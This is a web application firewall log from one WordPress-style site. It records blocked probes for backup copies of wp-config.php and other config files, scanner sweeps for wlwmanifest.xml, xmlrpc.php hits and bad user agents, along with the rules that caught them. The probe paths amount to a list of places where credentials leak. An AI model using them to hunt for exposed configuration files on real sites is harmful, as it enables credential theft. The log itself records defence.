[Sat Jan 17 11:22:53.438599 2026] [:error] [pid 31698:tid 31705] [client 152.42.208.28:61564] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/configuration.php.bak"] [unique_id "aWsAjbjKZJSxKAfZqrJfwAAAAQM"]
[Sat Jan 17 11:25:36.011054 2026] [:error] [pid 31698:tid 31723] [client 152.42.208.28:63025] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.bak"] [unique_id "aWsBMLjKZJSxKAfZqrJgQgAAARU"]
[Sat Jan 17 11:26:08.900819 2026] [:error] [pid 31698:tid 31711] [client 152.42.208.28:63303] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php-dist"] [unique_id "aWsBULjKZJSxKAfZqrJgYQAAAQk"]
[Sat Jan 17 11:26:59.617092 2026] [:error] [pid 31225:tid 31307] [client 152.42.208.28:63798] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php-bak"] [unique_id "aWsBg-nu2L2yWFDbzyVOigAAAJM"]
[Sat Jan 17 11:27:57.391267 2026] [:error] [pid 31224:tid 31280] [client 152.42.208.28:64294] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.ori"] [unique_id "aWsBvTgpVpEMk8-OQkisTgAAAFM"]
[Sat Jan 17 11:28:59.114805 2026] [:error] [pid 31698:tid 31708] [client 152.42.208.28:64887] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php-old"] [unique_id "aWsB-7jKZJSxKAfZqrJg6wAAAQY"]
[Sat Jan 17 11:30:13.620375 2026] [:error] [pid 31225:tid 31299] [client 152.42.208.28:49298] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.old"] [unique_id "aWsCRenu2L2yWFDbzyVPqgAAAIs"]
[Sat Jan 17 11:31:10.997656 2026] [:error] [pid 31698:tid 31710] [client 152.42.208.28:49826] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/web/config/ftp.config"] [unique_id "aWsCfrjKZJSxKAfZqrJhqwAAAQg"]
[Sat Jan 17 11:31:53.004947 2026] [:error] [pid 31698:tid 31724] [client 152.42.208.28:50274] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.old"] [unique_id "aWsCqbjKZJSxKAfZqrJh_AAAARY"]
[Sat Jan 17 16:19:59.830678 2026] [:error] [pid 31223:tid 31244] [client 170.106.180.153:44574] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWtGL0Mnpeq0T1sEOlLD4QAAAAs"]
[Sat Jan 17 17:37:41.873429 2026] [:error] [pid 31322:tid 31346] [client 43.130.111.40:37998] [client 43.130.111.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWtYZXxOW98yk2MBlyq79wAAAMw"]
[Sat Jan 17 22:27:30.840318 2026] [:error] [pid 31223:tid 31255] [client 43.166.224.244:38604] [client 43.166.224.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWucUkMnpeq0T1sEOlIDVAAAABY"]
[Sat Jan 17 23:31:00.091411 2026] [:error] [pid 31224:tid 31274] [client 223.185.134.40:12690] [client 223.185.134.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.134.40, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWurNDgpVpEMk8-OQkhXvQAAAE0"]
[Sat Jan 17 23:36:17.631846 2026] [:error] [pid 31322:tid 31343] [client 43.135.138.128:33182] [client 43.135.138.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWuscXxOW98yk2MBlyoGjQAAAMk"]
[Sat Jan 17 23:47:21.316687 2026] [:error] [pid 31322:tid 31355] [client 104.28.161.73:44789] [client 104.28.161.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aWuvCXxOW98yk2MBlyoI4gAAANU"]
[Sun Jan 18 05:43:08.565939 2026] [:error] [pid 12923:tid 12950] [client 43.153.107.22:41710] [client 43.153.107.22] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWwCbOsWURrrC-4Rx5KJ0AAAABI"]
[Sun Jan 18 07:14:33.566998 2026] [:error] [pid 12925:tid 13009] [client 43.130.72.177:59298] [client 43.130.72.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWwX2fsBL-4pnmSbzihXagAAAJU"]
[Sun Jan 18 15:29:47.013659 2026] [:error] [pid 13034:tid 13048] [client 114.96.103.33:53773] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWyL68RGpUu1E8cmbmgkHAAAAMo"]
[Sun Jan 18 19:56:12.251039 2026] [:error] [pid 37885:tid 37892] [client 43.157.22.57:57220] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWzKXIIjOL7XA82H72WNQAAAAUQ"]
[Sun Jan 18 21:20:32.583034 2026] [:error] [pid 11710:tid 11778] [client 34.121.205.153:54194] [client 34.121.205.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.205.153, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWzeIGCouWwzZ0YcmFZc6AAAAwo"]
[Sun Jan 18 21:20:34.738815 2026] [:error] [pid 11710:tid 11782] [client 34.121.205.153:54194] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aWzeImCouWwzZ0YcmFZc7wAAAw4"]
[Sun Jan 18 21:20:35.599227 2026] [:error] [pid 37885:tid 37909] [client 34.121.205.153:52745] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aWzeI4IjOL7XA82H72WjRAAAAVU"]
[Sun Jan 18 21:20:36.397328 2026] [:error] [pid 11650:tid 11668] [client 34.121.205.153:63513] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aWzeJEJ_hGOO27rOLtGVegAAAg4"]
[Sun Jan 18 21:20:37.216151 2026] [:error] [pid 11650:tid 11663] [client 34.121.205.153:63103] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aWzeJUJ_hGOO27rOLtGVgAAAAgk"]
[Sun Jan 18 21:20:38.033807 2026] [:error] [pid 13034:tid 13042] [client 34.121.205.153:52927] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aWzeJsRGpUu1E8cmbmiwMAAAAMQ"]
[Sun Jan 18 21:20:38.891643 2026] [:error] [pid 11710:tid 11790] [client 34.121.205.153:59720] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aWzeJmCouWwzZ0YcmFZc8gAAAxY"]
[Sun Jan 18 21:20:39.707125 2026] [:error] [pid 12923:tid 12942] [client 34.121.205.153:57642] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aWzeJ-sWURrrC-4Rx5KZSwAAAAo"]
[Sun Jan 18 21:20:40.519357 2026] [:error] [pid 12923:tid 12940] [client 34.121.205.153:56220] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWzeKOsWURrrC-4Rx5KZTwAAAAg"]
[Sun Jan 18 21:20:41.346127 2026] [:error] [pid 11620:tid 11632] [client 34.121.205.153:56204] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWzeKWCcXLNx7aML8kEzjAAAAco"]
[Sun Jan 18 21:20:42.139674 2026] [:error] [pid 37885:tid 37892] [client 34.121.205.153:51658] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWzeKoIjOL7XA82H72WjRQAAAUQ"]
[Sun Jan 18 21:20:42.955783 2026] [:error] [pid 11710:tid 11776] [client 34.121.205.153:52225] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWzeKmCouWwzZ0YcmFZc9gAAAwg"]
[Sun Jan 18 21:20:43.778643 2026] [:error] [pid 11710:tid 11785] [client 34.121.205.153:57572] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWzeK2CouWwzZ0YcmFZc9wAAAxE"]
[Sun Jan 18 21:20:44.614261 2026] [:error] [pid 11620:tid 11625] [client 34.121.205.153:55999] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWzeLGCcXLNx7aML8kEzlAAAAcM"]
[Sun Jan 18 21:20:45.412982 2026] [:error] [pid 7225:tid 7228] [client 34.121.205.153:57701] [client 34.121.205.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWzeLRerEBx_0YV4eGM4QQAAAYE"]
[Mon Jan 19 04:39:12.667378 2026] [:error] [pid 55093:tid 55137] [client 35.196.202.209:64091] [client 35.196.202.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.196.202.209, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aW1E8FvejPZGx2OquyX53gAAAEg"]
[Mon Jan 19 04:39:13.587819 2026] [:error] [pid 55093:tid 55149] [client 35.196.202.209:64091] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aW1E8VvejPZGx2OquyX55QAAAFQ"]
[Mon Jan 19 04:39:14.566155 2026] [:error] [pid 55203:tid 55229] [client 35.196.202.209:61308] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aW1E8i-AaXI6_wL-5XwmcQAAANg"]
[Mon Jan 19 04:39:15.487686 2026] [:error] [pid 55094:tid 55167] [client 35.196.202.209:60789] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aW1E8zQDy8tSKykl7U6hFgAAAIs"]
[Mon Jan 19 04:39:16.493185 2026] [:error] [pid 55094:tid 55160] [client 35.196.202.209:54695] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aW1E9DQDy8tSKykl7U6hGAAAAIQ"]
[Mon Jan 19 04:39:17.387317 2026] [:error] [pid 55092:tid 55102] [client 35.196.202.209:60757] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aW1E9c2DE_yLQhxnvwy0WwAAAAE"]
[Mon Jan 19 04:39:18.276677 2026] [:error] [pid 55092:tid 55104] [client 35.196.202.209:57645] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aW1E9s2DE_yLQhxnvwy0XgAAAAM"]
[Mon Jan 19 04:39:19.239934 2026] [:error] [pid 55094:tid 55156] [client 35.196.202.209:62164] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aW1E9zQDy8tSKykl7U6hHwAAAIA"]
[Mon Jan 19 04:39:20.221727 2026] [:error] [pid 55092:tid 55121] [client 35.196.202.209:58653] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aW1E-M2DE_yLQhxnvwy0YAAAABQ"]
[Mon Jan 19 04:39:21.259560 2026] [:error] [pid 55092:tid 55110] [client 35.196.202.209:59530] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aW1E-c2DE_yLQhxnvwy0YgAAAAk"]
[Mon Jan 19 04:39:22.308440 2026] [:error] [pid 55094:tid 55166] [client 35.196.202.209:57314] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aW1E-jQDy8tSKykl7U6hJAAAAIo"]
[Mon Jan 19 04:39:23.225055 2026] [:error] [pid 55092:tid 55123] [client 35.196.202.209:55989] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aW1E-82DE_yLQhxnvwy0ZwAAABY"]
[Mon Jan 19 04:39:24.128457 2026] [:error] [pid 27680:tid 27705] [client 35.196.202.209:51479] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aW1E_D8azMyLC3TiDG3n4gAAAQ4"]
[Mon Jan 19 04:39:25.041003 2026] [:error] [pid 27680:tid 27698] [client 35.196.202.209:65341] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aW1E_T8azMyLC3TiDG3n5AAAAQc"]
[Mon Jan 19 04:39:25.922266 2026] [:error] [pid 55092:tid 55109] [client 35.196.202.209:63503] [client 35.196.202.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aW1E_c2DE_yLQhxnvwy0aQAAAAg"]
[Mon Jan 19 07:30:20.477465 2026] [:error] [pid 47476:tid 47493] [client 43.157.82.252:43294] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aW1tDI6ielYhUA9M_-K7eQAAAc0"]
